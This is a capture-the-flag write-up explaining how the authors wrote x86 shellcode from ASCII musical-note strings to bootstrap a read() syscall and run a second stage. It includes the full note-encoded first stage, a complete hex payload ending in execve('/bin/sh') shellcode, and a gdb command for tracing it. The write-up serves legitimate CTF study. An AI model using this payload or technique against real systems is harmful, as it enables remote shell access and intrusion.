In this challenge, one had to write x86 shellcode using musical notes, i.e.,
the shellcode had to be a sequence of the ASCII strings
An
, A#n
, Bn
, Cn
, C#n
, Dn
, D#n
, En
, Fn
, F#n
, Gn
, G#n
,
where n
is between 0
and 9
. (And one had to send these notes to
the server encoded as frequencies, which was easy to revert.)
The registers were initialized as: eax=ebx=ecx=edx=0
and edi=esi=esp
.
Some constant strings were put on the stack prior to running our code.
The shellcode was loaded and executed at 0x60606000
.
We assembled a read(0, 0x60606260, a_few)
syscall to read more (regular)
shellcode using self-modifying code as follows.
First zero out esi
: xor eax, [edi+0x30]; xor [edi+0x30], eax;
xor eax, [edi+0x34]
makes the 4 bytes at edi+0x30=esi+0x30
zero, then 0x30
times inc esi
and and esi, [esi]
sets esi
to zero. Then get the
address 0x60606160
into eax
by XORing together constants from the
stack (the right combination was found using a meet-in-the-middle search
in Python):
xor eax, [eax + edi + 0x46]
xor eax, 0x39423947
xor eax, 0x36413442
(In general all of these have to be separated by “nops” like inc ebp
and inc esp
occasionally to make sure they have the right sequence
of letters and numbers and # and can be encoded such that the pwnable
regenerates them from our input.)
Using the instruction xor [eax + esi + 0x41], al
we can then build pushes
and pops from allowed instructions as a replacement for mov
instructions
needed to set up registers for the syscall (the 60
in the LSB of eax
was chosen such that we easily get push
es and pop
s).
By inc esi
in between the XORs we can change multiple instructions to
pushes and pops.
We patched xor [ecx+0x39, al]
to push eax; inc ecx; pop ecx; ...
and xor al, [ebp+0x38]
to push edx; inc ebp; pop eax; inc edx
.
The first push/pop is used to get the target pointer into ecx
(when the
patched code is reached, we will have XORed two more values from the
stack into eax
to change it from 0x60606160
to 0x60606260
— this
is necessary since we can’t get big values into edx
, so we would never
write behind the current eip unless we change the target pointer of
the read). The second push/pop is used to move the value 3 (obtained
using inc edx
) from edx
to eax
(3 is read()
on x86 Linux). After
these patched instructions have been executed, we simply pad to the
address where read()
will put our shellcode using inc edx
, which is
necessary anyway to be able to read()
enough.
First stage of the shellcode (remove newlines):
E3G0E1G0E3G4F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6
F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F6F#6D#7E3D8F5G9B9E5B4A6E0D0A6F6F0D0
A6F6F6F6F6F6F0D0A6F6F0D0A#7E5B4A6F5B7A6D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7
D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7
D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7
D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7D#7E6F6F0A9B6B6B2E8B6B6B6B6
B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6
B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6B6
B6B6B6B6B6B6B6B6B6B6B6B6B6B6B7
Of course, we had to synthesize these notes into a beautiful MP3, which remarkably ends on a high note:
After (the encoded version of) this excellent piece of music, we simply
sent regular x86 execve()
shellcode.
In summary, the payload we sent to the server is:
4a013100530031004a011003eb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0a
eb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0a
eb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0a
eb0aeb0aeb0aeb0aeb0aeb0aeb0aeb0a910b74134a01b92476050a62c33d
2705ee01e1062a002500e106eb0a2c002500e106eb0aeb0aeb0aeb0aeb0a
2c002500e106eb0a2c002500930e2705ee01e1067605710fe10674137413
741374137413741374137413741374137413741374137413741374137413
741374137413741374137413741374137413741374137413741374137413
741374137413741374137413741374137413741374137413741374137413
741374137413741374137413741374137413741374137413741374137413
7413741374137413741374137413741374134e0aeb0a2c000637b907b907
7c003929b907b907b907b907b907b907b907b907b907b907b907b907b907
b907b907b907b907b907b907b907b907b907b907b907b907b907b907b907
b907b907b907b907b907b907b907b907b907b907b907b907b907b907b907
b907b907b907b907b907b907b907b907b907b907b907b907b907b907b907
b907b907b907b907b907b907b907b907b907b907b907b907b907b907b907
b907b907b907b907b907b907b907b907b907b907b907b907b907b907b907
710f0000eb185e89760831c088460789460cb00b89f38d4e088d560ccd80
e8e3ffffff2f62696e2f73684100
In particular, this can be used to observe the shellcode while running:
Hex-decode the blob above into a file pwn.bin
, then run the following.
(Find the nop
binary here.)
$ gdb -ex 'b *0x56555bea' -ex 'r <pwn.bin' ./nop
To see the patching, set a breakpoint at 0x60606095
. The patched
code resides after 0x60606199
.
After sending this blob to the server, it will spawn a shell and we can just send commands as usual to obtain the flag: OOO{1f_U_Ar3_r34d1n6_7h15_y0u_4r3_7h3_m0z4rT_0f_1nf053c_Ch33rs2MP!}